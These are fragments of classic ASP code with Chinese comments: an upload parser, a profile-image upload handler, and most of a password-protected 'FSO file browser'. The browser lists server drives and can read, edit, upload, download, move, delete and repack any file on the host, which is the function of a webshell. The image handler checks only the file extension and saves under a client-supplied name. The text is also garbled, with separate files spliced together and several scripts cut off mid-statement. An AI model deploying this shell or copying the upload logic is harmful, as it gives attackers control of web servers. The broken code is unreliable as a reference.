'将上传的文件保存到path所指定的目录下面。
'Formfield 上传表单的"file"域名
'Path 要保存文件的服务器绝对路径,形式为:"d:\path\subpath"或"d:\path\subpath\"
'MaxSize 限制上传文件的最大长度,以KByte为单位
'SavType 服务器保存文件的方式:
' 0 唯一文件名方式,如果有同名则自动改名;
' 1 报错方式,如果有同名则出错;
' 2 覆盖方式,如果有同名则覆盖原来的文件
Function SaveFile(FormFileField, Path, MaxSize, SavType)
Dim StreamObj,StreamObj1
Set StreamObj = Server.CreateObject("ADODB.Stream")
Set StreamObj1 = Server.CreateObject("ADODB.Stream")
StreamObj.Mode = 3
StreamObj1.Mode = 3
StreamObj.Type = 1
StreamObj1.Type = 1
SaveFile = ""
StartPos = LenB(Divider) + 2
FormFileField = Chr(34) & FormFileField & Chr(34)
If Right(Path,1) <> "\" Then
Path = Path & "\"
End If
Do While StartPos > 0
strlen = InStrB(StartPos, FormData, bCrLf) - StartPos
SearchStr = MidB(FormData, StartPos, strlen)
If InStr(bin2str(SearchStr), FormFileField) > 0 Then
FileName = bin2str(GetFileName(SearchStr,path,SavType))
If FileName <> "" Then
FileStart = InStrB(StartPos, FormData, bCrLf & bCrLf) + 4
FileLen = InStrB(StartPos, FormData, Divider) - 2 - FileStart
If FileLen <= MaxSize*1024 Then
FileContent = MidB(FormData, FileStart, FileLen)
StreamObj.Open
StreamObj1.Open
StreamObj.Write FormData
StreamObj.Position=FileStart-1
StreamObj.CopyTo StreamObj1,FileLen
If SavType =0 Then
SavType = 1
End If
StreamObj1.SaveToFile Path & FileName, SavType
StreamObj.Close
StreamObj1.Close
If SaveFile <> "" Then
SaveFile = SaveFile & "," & FileName
Else
SaveFile = FileName
End If
Else
If SaveFile <> "" Then
SaveFile = SaveFile & ",*TooBig*"
Else
SaveFile = "*TooBig*"
End If
End If
End If
End If
If InStrB(StartPos, FormData, Divider) < 1 Then
Exit Do
End If
StartPos = InStrB(StartPos, FormData, Divider) + LenB(Divider) + 2
Loop
End Function
Function GetFormVal(FormName)
GetFormVal = ""
StartPos = LenB(Divider) + 2
FormName = Chr(34) & FormName & Chr(34)
Do While StartPos > 0
strlen = InStrB(StartPos, FormData, bCrLf) - StartPos
SearchStr = MidB(FormData, StartPos, strlen)
If InStr(bin2str(SearchStr), FormName) > 0 Then
ValStart = InStrB(StartPos, FormData, bCrLf & bCrLf) + 4
ValLen = InStrB(StartPos, FormData, Divider) - 2 - ValStart
ValContent = MidB(FormData, ValStart, ValLen)
If GetFormVal <> "" Then
GetFormVal = GetFormVal & "," & bin2str(ValContent)
Else
GetFormVal = bin2str(ValContent)
End If
End If
If InStrB(StartPos, FormData, Divider) < 1 Then
Exit Do
End If
StartPos = InStrB(StartPos, FormData, Divider) + LenB(Divider) + 2
Loop
End Function
Function bin2str(binstr)
Dim varlen, clow, ccc, skipflag
skipflag = 0
ccc = ""
varlen = LenB(binstr)
For i = 1 To varlen
If skipflag = 0 Then
clow = MidB(binstr, i, 1)
If AscB(clow) > 127 Then
ccc = ccc & Chr(AscW(MidB(binstr, i + 1, 1) & clow))
skipflag = 1
Else
ccc = ccc & Chr(AscB(clow))
End If
Else
skipflag = 0
End If
Next
bin2str = ccc
End Function
Function str2bin(str)
For i = 1 To Len(str)
str2bin = str2bin & ChrB(Asc(Mid(str, i, 1)))
Next
End Function
Function GetFileName(str,path,savtype)
Set fs = Server.CreateObject("Scripting.FileSystemObject")
str = RightB(str,LenB(str)-InstrB(str,str2bin("filename="))-9)
GetFileName = ""
FileName = ""
For i = LenB(str) To 1 Step -1
If MidB(str, i, 1) = ChrB(Asc("\")) Then
FileName = MidB(str, i + 1, LenB(str) - i - 1)
Exit For
End If
Next
If savtype = 0 and fs.FileExists(path & bin2str(FileName)) = True Then
hFileName = FileName
rFileName = ""
For i = LenB(FileName) To 1 Step -1
If MidB(FileName, i, 1) = ChrB(Asc(".")) Then
hFileName = LeftB(FileName, i-1)
rFileName = RightB(FileName, LenB(FileName)-i+1)
Exit For
End If
Next
For i = 0 to 9999
'hFileName = hFileName & str2bin(i)
If fs.FileExists(path & bin2str(hFileName) & i & bin2str(rFileName)) = False Then
FileName = hFileName & str2bin(i) & rFileName
Exit For
End If
Next
End If
Set fs = Nothing
GetFileName = FileName
End Function
%>
filename = SaveFile("fruit2",path,1024,0)
If filename <> "*TooBig*" Then
Response.Write "<br><br>""" & filename & """已经上传"
Else
Response.Write "<br><br>文件超出限制太大"
End IF
%>
Private Sub Class_Initialize
dim iStart,iFileNameStart,iFileNameEnd,iEnd,vbEnter,iFormStart,iFormEnd,theFile
dim strDiv,mFormName,mFormValue,mFileName,mFileSize,mFilePath,iDivLen,mStr
Version=""
if Request.TotalBytes<1 then Exit Sub
set Form=CreateObject("Scripting.Dictionary")
set File=CreateObject("Scripting.Dictionary")
set upfile_5xSoft_Stream=CreateObject("Adodb.Stream")
upfile_5xSoft_Stream.mode=3
upfile_5xSoft_Stream.type=1
upfile_5xSoft_Stream.open
upfile_5xSoft_Stream.write Request.BinaryRead(Request.TotalBytes)
vbEnter=Chr(13)&Chr(10)
iDivLen=inString(1,vbEnter)+1
strDiv=subString(1,iDivLen)
iFormStart=iDivLen
iFormEnd=inString(iformStart,strDiv)-1
while iFormStart < iFormEnd
iStart=inString(iFormStart,"name=""")
iEnd=inString(iStart+6,"""")
mFormName=subString(iStart+6,iEnd-iStart-6)
iFileNameStart=inString(iEnd+1,"filename=""")
if iFileNameStart>0 and iFileNameStart<iFormEnd then
iFileNameEnd=inString(iFileNameStart+10,"""")
mFileName=subString(iFileNameStart+10,iFileNameEnd-iFileNameStart-10)
iStart=inString(iFileNameEnd+1,vbEnter&vbEnter)
iEnd=inString(iStart+4,vbEnter&strDiv)
if iEnd>iStart then
mFileSize=iEnd-iStart-4
else
mFileSize=0
end if
set theFile=new FileInfo
theFile.FileName=getFileName(mFileName)
theFile.FilePath=getFilePath(mFileName)
theFile.FileSize=mFileSize
theFile.FileStart=iStart+4
theFile.FormName=FormName
file.add mFormName,theFile
else
iStart=inString(iEnd+1,vbEnter&vbEnter)
iEnd=inString(iStart+4,vbEnter&strDiv)
if iEnd>iStart then
mFormValue=subString(iStart+4,iEnd-iStart-4)
else
mFormValue=""
end if
form.Add mFormName,mFormValue
end if
iFormStart=iformEnd+iDivLen
iFormEnd=inString(iformStart,strDiv)-1
wend
End Sub
Private Function subString(theStart,theLen)
dim i,c,stemp
upfile_5xSoft_Stream.Position=theStart-1
stemp=""
for i=1 to theLen
if upfile_5xSoft_Stream.EOS then Exit for
c=ascB(upfile_5xSoft_Stream.Read(1))
If c > 127 Then
if upfile_5xSoft_Stream.EOS then Exit for
stemp=stemp&Chr(AscW(ChrB(AscB(upfile_5xSoft_Stream.Read(1)))&ChrB(c)))
i=i+1
else
stemp=stemp&Chr(c)
End If
Next
subString=stemp
End function
Private Function inString(theStart,varStr)
dim i,j,bt,theLen,str
InString=0
Str=toByte(varStr)
theLen=LenB(Str)
for i=theStart to upfile_5xSoft_Stream.Size-theLen
if i>upfile_5xSoft_Stream.size then exit Function
upfile_5xSoft_Stream.Position=i-1
if AscB(upfile_5xSoft_Stream.Read(1))=AscB(midB(Str,1)) then
InString=i
for j=2 to theLen
if upfile_5xSoft_Stream.EOS then
inString=0
Exit for
end if
if AscB(upfile_5xSoft_Stream.Read(1))<>AscB(MidB(Str,j,1)) then
InString=0
Exit For
end if
next
if InString<>0 then Exit Function
end if
next
End Function
Private Sub Class_Terminate
form.RemoveAll
file.RemoveAll
set form=nothing
set file=nothing
upfile_5xSoft_Stream.close
set upfile_5xSoft_Stream=nothing
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
Private function toByte(Str)
dim i,iCode,c,iLow,iHigh
toByte=""
For i=1 To Len(Str)
c=mid(Str,i,1)
iCode =Asc(c)
If iCode<0 Then iCode = iCode + 65535
If iCode>255 Then
iLow = Left(Hex(Asc(c)),2)
iHigh =Right(Hex(Asc(c)),2)
toByte = toByte & chrB("&H"&iLow) & chrB("&H"&iHigh)
Else
toByte = toByte & chrB(AscB(c))
End If
Next
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=1
if trim(fullpath)="" or FileSize=0 or FileStart=0 or FileName="" then exit function
if FileStart=0 or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
upfile_5xSoft_Stream.position=FileStart-1
upfile_5xSoft_Stream.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=0
end function
End Class
</SCRIPT>
<%
if session("upface")="done" then
response.write "图片一已经上传了"
response.end
end if
dim upload,file,formName,formPath,iCount,filename,fileExt
set upload=new upload_5xSoft ''建立上传对象
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath="../up/"&formPath&"/"
iCount=0
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择您要上传的图片 [ <a href='../up/reg_upload.asp'>重新上传</a> ]"
response.end
end if
if file.filesize>1000000 then
response.write "图片大小超过了限制 [ <a href=../up/reg_upload.asp>重新上传</a> ]"
response.end
end if
fileExt=lcase(right(file.filename,4))
if fileEXT<>".gif" and fileEXT<>".jpg" then
response.write "图片格式不对(支持jpg,gif) [ <a href=../up/reg_upload.asp>重新上传</a> ]"
response.end
end if
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
'file.SaveAs Server.mappath(filename) ''保存文件
file.SaveAs Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing ''删除此对象
session("upface")="done"
Htmend iCount&" 个文件上传结束!"
sub HtmEnd(Msg)
set upload=nothing
response.write "图片一上传成功"
response.end
end sub
<%
On Error Resume Next
Islight=False
For Each oDrive In oFso.Drives
Response.Write "
"
Response.Write "
"&oDrive.DriveLetter&"
"
Response.Write "
"&getDriveType(oDrive.DriveType)&"
"
Response.Write "
"&oDrive.VolumeName&"
"
Response.Write "
"&oDrive.FileSystem&"
"
Response.Write "
"&SizeCount(oDrive.TotalSize)&"
"
Response.Write "
"&SizeCount(oDrive.FreeSpace)&"
"
Response.Write "
"&vbCrLf
Islight=Not(Islight)
Next
%>
<% =Copyright %>
<%
End Sub
'新建
Sub NewF(ByVal Fname)
%>
FSO文件浏览器 - 新建
<script language="JavaScript">
function icheck()
{
if(document.rform.nname.value=="")
{
alert("请输入合法的文件名!");
return false;
}
else
return true;
}
<%
End Sub
'保存新建
Sub SaveNew(ByVal Fname)
If Not IsFolder(Fname) Then
Response.Write "<script language='javascript'>alert('文件夹不存在!');history.back();alert('文件或文件夹已存在!');history.back();alert('新建文件夹或文本文件成功!');window.close();alert('您编辑的不是文件或文件不存在!');window.close();
FSO文件浏览器 - 编辑文本文件
<%
End Sub
'保存编辑文件
Sub SaveEdit(ByVal Fname)
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,2,True)
FileStr=Request.Form("filestr")
'Response.Write FileStr
oFile.Write FileStr
oFile.Close
Set oFile=Nothing
EchoBack "保存编辑文件成功!"
End Sub
'复制或剪切文件
Sub SetFile(ByVal Fname,ByVal iMode)
Session(mss & "setfile")=Fname
Session(mss & "setmode")=iMode
Dim ww
If 0=iMode Then
ww="复制"
Else
ww="剪切"
End If
EchoClose ww&"成功,请粘贴!"
End Sub
'粘贴文件或文件夹
Sub Parse(ByVal Fname)
Dim oFile,oFolder
Dim sName,iMode
sName=Session(mss & "setfile")
iMode=Session(mss & "setmode")
If sName="" Then
EchoClose "请先复制或剪切!"
Else
If InStr(LCase(Fname), LCase(sName)) > 0 Then
EchoClose "目标文件夹在源文件夹内,非法操作!"
Exit Sub
End If
'================
If Not IsFolder(Fname) Then
EchoClose "目标文件夹不存在!"
ElseIf IsFile(sName) Then
Set oFile=oFso.GetFile(sName)
If iMode=0 Then
oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
Else
oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
End If
ElseIf IsFolder(sName) Then
Set oFolder=oFso.GetFolder(sName)
If iMode=0 Then
oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
Else
oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
End If
Else
EchoClose "源文件或文件夹不存在!"
Exit Sub
End If
'================
EchoClose "复制或移动成功!刷新可查看效果"
End If
Session(mss & "setfile")=""
Session(mss & "setmode")=0
End Sub
'下载文件
Sub Download(ByVal Fname)
Dim oFile
If Not IsFile(Fname) Then
EchoClose "不是文件或文件不存在!"
Exit Sub
End If
Set oFile=oFso.GetFile(Fname)
If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then
Dim FileVName
FileVName=Replace(oFile.Path,Server.MapPath("/"),"")
FileVName=Replace(FileVName,"\","/")
If Left(FileVName,1)<>"/" Then
FileVName="/"&FileVName
End If
Response.Redirect FileVName
Exit Sub
End If
If oFile.Size>1048576*100 Then
EchoClose "文件超过100M,可能会造成服务器死机,\n不允许以Stream方式下载!\n请将该文件复制到网站目录以下\n然后以HTTP方式下载"
Exit Sub
End If
Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载
Dim oStream
Set oStream=Server.CreateObject("ADODB.Stream")
oStream.Open
oStream.Type=1
oStream.LoadFromFile(Fname)
Dim Data
Data=oStream.Read
oStream.Close
Set oStream=Nothing
If Not Response.IsClientConnected Then
Set Data=Nothing
Exit Sub
End If
Response.Buffer=True
Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name
Response.AddHeader "Content-Length", oFile.Size
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite Data
Response.Flush
End Sub
'删除文件
Sub Deletes(ByVal Fname)
If IsFile(Fname) Then
oFso.DeleteFile Fname,True
ElseIf IsFolder(Fname) Then
oFso.DeleteFolder Fname,True
Else
EchoClose "文件或文件夹不存在"
Exit Sub
End If
EchoClose "文件删除成功!"
End Sub
'上传文件
Sub Upload(ByVal Fname)
If Not IsFolder(Fname) Then
EchoClose "没有指定上传的文件夹!"
Exit Sub
End If
%>
FSO文件浏览器 - 文件上传
<script language="JavaScript">
function getSaveName()
{
var filepath=document.uform.upload.value;
if(filepath.length<1) return;
var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length);
document.uform.ffname.value=filename;
}
<%
End Sub
'保存上传文件
Sub Saveupload(ByVal FolderName)
If Not IsFolder(FolderName) Then
EchoClose "没有指定上传的文件夹!"
Exit Sub
End If
Dim Path,IsOverWrite
Path=FolderName
If Right(Path,1)<>"\" Then Path=Path&"\"
FileName=Replace(Request("filename"),"\","")
If Len(FileName)<1 Then
EchoBack "请选择文件并输入文件名!"
Exit Sub
End If
Path=Path&FileName
If LCase(Request("overwrite"))="true" Then
IsOverWrite=True
Else
IsOverWrite=False
End If
On Error Resume Next
Call MyUpload(Path,IsOverWrite)
If Err Then
EchoBack "文件上传失败!(可能是文件已存在)"
Else
EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\")
End If
End Sub
'文件上传核心代码
Sub MyUpload(FilePath,IsOverWrite)
Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
RequestSize=Request.TotalBytes
If RequestSize<1 Then Exit Sub
Set oStream=Server.CreateObject("ADODB.Stream")
Set tStream=Server.CreateObject("ADODB.Stream")
With oStream
.Type=1
.Mode=3
.Open
.Write=Request.BinaryRead(RequestSize)
.Position=0
sData=.Read
bCrLf=ChrB(13)&ChrB(10)
iSpaceEnd=InStrB(sData,bCrLf)-1
sSpace=LeftB(sData,iSpaceEnd)
iInfoStart=iSpaceEnd+3
iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
iFileStart=iInfoEnd+5
iFileEnd=InStrB(iFileStart,sData,sSpace)-3
sData="" '清空文件数据
iFileSize=iFileEnd-iFileStart+1
tStream.Type=1
tStream.Mode=3
tStream.Open
.Position=iFileStart-1
.CopyTo tStream,iFileSize
If IsOverWrite Then
tStream.SaveToFile FilePath,2
Else
tStream.SaveToFile FilePath
End If
tStream.Close
.Close
End With
Set tStream=Nothing
Set oStream=Nothing
End Sub
'显示文件属性
Sub Prop(Fname)
On Error Resume Next
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在!"
Exit Sub
End If
Set oAttrib=New FileAttrib_Cls
oAttrib.Attrib=obj.Attributes
%>
FSO文件浏览器 - 文件属性
<script language="javascript">
function ww(obj)
{
return false;
}
<%
End Sub
'修改属性
Sub SaveProp(Fname)
Dim Attribs,Attrib
Attribs=Replace(Request.Form("att")," ","")
Attribs=Split(Attribs,",")
Attrib=0
Dim i
For i=0 To UBound(Attribs)
Attrib=Attrib+Attribs(i)
Next
'Response.Write Attrib
'Exit Sub
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在!"
Exit Sub
End If
If obj.IsRootFolder Then
EchoClose "不能修改根目录属性!"
Exit Sub
End If
obj.Attributes=Attrib
EchoBack "修改文件属性成功!"
End Sub
'转到上一级文件夹
Sub DirUp()
Dim oFolder,ssFname
If IsFolder(Request("fname")) Then
Set oFolder=oFso.GetFolder(Request("fname"))
If oFolder.IsRootFolder Then
'转至显示驱动器页面
Call Drive()
Exit Sub
Else
ssFname=oFolder.ParentFolder.Path
Set oFolder=Nothing
Call DirList(ssFname)
End If
Else
If IsFile(Request("fname")) Then
'文件下载
Else
Response.Write "文件夹或文件不存在!"
End If
End If
End Sub
'更改文件名页面
Sub Rename()
Dim Fname,sName
Fname=Request("fname")
If IsFolder(Fname) Then
sName=oFso.GetFolder(Fname).Name
Else
If IsFile(Fname) Then
sName=oFso.GetFile(Fname).Name
Else
Response.Write "文件或文件夹不存在!"
Exit Sub
End If
End If
%>
FSO文件浏览器 - 重命名
<script language="JavaScript">
function icheck()
{
if(document.cform.toname.value=="")
{
alert("请输入合法的文件名!");
return false;
}
else
return true;
}
<%
End Sub
'更改文件名操作
Sub SaveRename()
Dim Fname,oFolder,oFile,FDir,ToName
Fname=Request("fname")
ToName=Replace(Request("toname"),"\","")
If IsFolder(Fname) Then
Set oFolder=oFso.GetFolder(Fname)
Fname=oFolder.Path
If Right(Fname,1)="\" Then
Fname=Left(Fname,Len(Fname)-1)
End If
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFolder Fname,ToName
If Err Then
EchoBack "文件名不合法!"
Else
EchoClose "文件夹更名成功!\n刷新之后即可看到效果"
End If
Exit Sub
End If
If IsFile(Fname) Then
Set oFile=oFso.GetFile(Fname)
Fname=oFile.Path
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFile Fname,ToName
If Err Then
EchoBack "文件名不合法!"
Else
EchoClose "文件更名成功!\n刷新之后即可看到效果"
End If
Exit Sub
End If
End Sub
'文件打包/解包页面
Sub Page_Pack()
Dim vp,vu
vp=Request("pname")
vu=Request("uname")
If Right(vu,4)<>".mdb" Then
vu=Server.MapPath("/rs_pack.mdb")
End If
%>
FSO文件浏览器 - 文件打包/解包
FSO文件浏览器 - 文件打包/解包
<%
End Sub
'文件夹内容列表 ========== Dirlist
Sub Dirlist(ByVal Fpath)
If IsFile(Fpath) Then
'下载该文件
Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back();文件夹不存在!"
Exit Sub
End If
'代码开始
Dim oFolder
Dim sFolder,sFile '文件夹下的子文件夹和文件
Set oFolder=oFso.GetFolder(Fpath)
%>
FSO文件浏览器
<script language="JavaScript">
var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹
var fselected="";
function opendial(sUrl) //打开对话框窗口
{
var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400");
return newWin;
}
function fopen(sfname) //打开文件夹或文件
{
location.href="?page=fso&fname="+escape(sfname);
}
function fselect(obj) //选中文件夹或文件
{
var flen=document.all("f").length;
for(var i=0;i文件夹
{
location.href="?page=fso&act=up&fname="+escape(folderpath);
}
function fnew()
{
opendial("?page=fso&act=new&fname="+escape(folderpath));
}
function frename() //重命名文件
{
if(fselected=="")
{
alert("请选择文件或文件夹!");
return false;
}
else
opendial("?page=fso&act=rename&fname="+escape(fselected));
}
function fdownload() //下载文件
{
if(fselected=="")
{
alert("请选择文件!(大小在1MB以下)");
return false;
}
else
opendial("?page=fso&act=download&fname="+escape(fselected));
}
function fedit() //编辑文本文件
{
if(fselected=="")
{
alert("请选择文件!");
return false;
}
else
window.open("?page=fso&act=edit&fname="+escape(fselected));
}
function fcopy() //复制文件
{
if(fselected=="")
{
alert("请选择文件或文件夹!");
return false;
}
else
opendial("?page=fso&act=copy&fname="+escape(fselected));
}
function fcut() //剪切文件
{
if(fselected=="")
{
alert("请选择文件或文件夹!");
return false;
}
else
opendial("?page=fso&act=cut&fname="+escape(fselected));
}
function fparse() //粘贴文件或文件夹
{
opendial("?page=fso&act=parse&fname="+escape(folderpath));
}
function fdelete()
{
if(fselected=="")
{
alert("请选择文件或文件夹!");
return false;
}
else
{
if(!confirm("确定要删除本文件或文件夹?")) return false;
else
opendial("?page=fso&act=delete&fname="+escape(fselected));
}
}
function fprop() //属性
{
var vv;
if(fselected=="") vv=folderpath;
else vv=fselected;
window.open("?page=fso&act=prop&fname="+escape(vv), "", "menu=no,resizable=no,height=250,width=500");
}
function fpack() //打包解包
{
var vp,vu;
if(fselected=="")
{
vp=folderpath;
vu=folderpath;
}
else
{
vp=fselected;
vu=fselected;
}
window.open("?page=fso&act=pack&pname="+escape(vp)+"&uname="+escape(vu),"", "menu=no,resizable=no,height=250,width=500");
}
FSO文件浏览器
 
文件名
类型
大小
修改时间
<%
Dim Islight
Islight=False
'逐个显示子文件夹
For Each sFolder In oFolder.SubFolders
Response.Write "
"&vbCrLf
Islight=Not Islight
Next
'逐个显示文件
For Each sFile In oFolder.Files
Response.Write "
"
Response.Write "
"
Response.Write " "&sFile.Name
Response.Write "
"
Response.Write "
"&sFile.Type&"
"
Response.Write "
"&SizeCount(sFile.Size)&"
"
Response.Write "
"&sFile.DateLastModified&"
"
Response.Write "
"&vbCrLf
Islight=Not Islight
Next
%>
<% =Copyright %>
<%
T2=Timer()
Runtime=(T2-T1)*1000
Response.Write "Page Processed in "&Runtime&" Mili-seconds"
%>
<%
End Sub
'用户登录
Sub Login()
%>
FSO文件浏览器 - 用户登录
<% =Copyright %>
<%
End Sub
'用户登录验证
Sub LoginChk()
If Request.Form("password")<>Password Then
EchoBack "一夫当关,万夫莫开,您的密码不正确!"
Exit Sub
Else
Session(mss & "IsAdminlogin")=True
Response.Redirect "?page=fso"
End If
End Sub
'用户退出
Sub Logout()
Session(mss & "IsAdminlogin")=False
Response.Redirect "?"
End Sub
'显示一个图片
Sub Page_Img()
Dim HexStr
HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B"
Response.ContentType="IMAGE/GIF"
WriteBytes HexStr
End Sub
'输出Css
Sub Page_Css()
%>
body
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
input,select,textarea
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
color: #000000;
}
a:link
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:visited
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:active
{
font-size: 12px;
line-height: normal;
color: #333333;
text-decoration: none;
}
a:hover
{
font-size: 12px;
color: #FF7F24;
text-decoration: underline;
}
hr { height:1px; color:#6595D6; }
table
{
BORDER-COLLAPSE: collapse;
}
table.border
{
border: 1px solid #6595D6;
}
td
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
td.border
{
border: 1px solid #6595D6;
}
td.inner
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
border: 0px;
}
th
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #FFFFFF;
height:25px;
background-color:#427FBB;
background-image:url(?page=img);
}
th.border
{
border: 1px solid #6595D6;
}
.b { width:55px; height:22px; font-size:12px; }
<%
End Sub
'================ Functions ==================
Function IsFolder(ByVal fname)
IsFolder=oFso.FolderExists(fname)
End Function
Function IsFile(ByVal fname)
IsFile=oFso.FileExists(fname)
End Function
'字节数统计 Bytes
Function SizeCount(ByVal iSize)
On Error Resume Next
Dim size,showsize
size=iSize
showsize=size & " Byte"
if size>1024 then
size=(Size/1024)
showsize=formatnumber(size,3) & " KB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " MB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " GB"
end if
SizeCount = showsize
End Function
'16进制字符转10进制数字
Function Hex2Num(v)
Dim w
If IsNumeric(v) Then
w=Int(v)
Else
Select Case UCase(v)
Case "A": w=10
Case "B": w=11
Case "C": w=12
Case "D": w=13
Case "E": w=14
Case "F": w=15
Case Else: w=0
End Select
End If
Hex2Num=w
End Function
'取得字节字符串的数值
Function Byte2Num(sByte)
Dim b1,b2
b1=Left(sByte,1)
b2=Right(sByte,1)
Byte2Num=Hex2Num(b1)*16+Hex2Num(b2)
End Function
'将16进制字节字符串输出为二进制数据
Function WriteBytes(sBytes)
Dim sByte,i
sByte=Split(sBytes," ")
For i=0 To UBound(sByte)-1
Response.BinaryWrite ChrB(Byte2Num(sByte(i)))
Next
End Function
'获得文件图标
Function getFileIcon(extName)
Select Case LCase(extName)
Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
getFileIcon = "Wingdings>2"
Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
getFileIcon = "Webdings>·"
Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
getFileIcon = "'webdings'>"
Case "exe", "com", "bat", "cmd", "scr", "msi"
getFileIcon = "Webdings>1"
Case "sys", "dll", "ocx"
getFileIcon = "Wingdings>ÿ"
Case Else
getFileIcon = "'Wingdings 2'>/"
End Select
End Function
'获得磁盘类型
Function getDriveType(num)
Select Case num
Case 0
getDriveType = "未知"
Case 1
getDriveType = "可移动磁盘"
Case 2
getDriveType = "本地硬盘"
Case 3
getDriveType = "网络磁盘"
Case 4
getDriveType = "CD-ROM"
Case 5
getDriveType = "RAM 磁盘"
End Select
End Function
'判断是否为脚本文件
Function IsScriptFile(Ext)
Const ScriptExts="asp,aspx,asa,php"
IsScriptFile=False
Dim FileExt,Exts
FileExt=LCase(Ext)
Exts=Split(ScriptExts,",")
Dim i
For i=0 To UBound(Exts)-1
If Exts(i)=FileExt Then
IsScriptFile=True
Exit Function
End If
Next
IsScriptFile=False
End Function
'返回消息并关闭
Sub EchoClose(msg)
Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();alert("""&msg&""");history.back();=2048 Then
c=1
v=v Mod 2048
End If
If v>=1024 Then
al=1
v=v Mod 64
End If
If v>=32 Then
a=1
v=v Mod 32
End If
If v>=16 Then
d=1
v=v Mod 8
End If
If v>=4 Then
s=1
v=v Mod 4
End If
If v>=2 Then
h=1
v=v Mod 2
End If
If v>=1 Then
r=1
End If
End Property
End Class
'============================ 文件打包及解包过程 =============================
'文件打包
Sub Pack(ByVal FPath, ByVal sDbPath)
Server.ScriptTimeOut=900
Dim DbPath
If Right(sDbPath,4)=".mdb" Then
DbPath=sDbPath
Else
DbPath=sDbPath&".mdb"
End If
If oFso.FolderExists(DbPath) Then
EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\")
Exit Sub
End If
If oFso.FileExists(DbPath) Then
oFso.DeleteFile DbPath
End If
If IsFolder(FPath) Then
RootPath=GetParentFolder(FPath)
If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\"
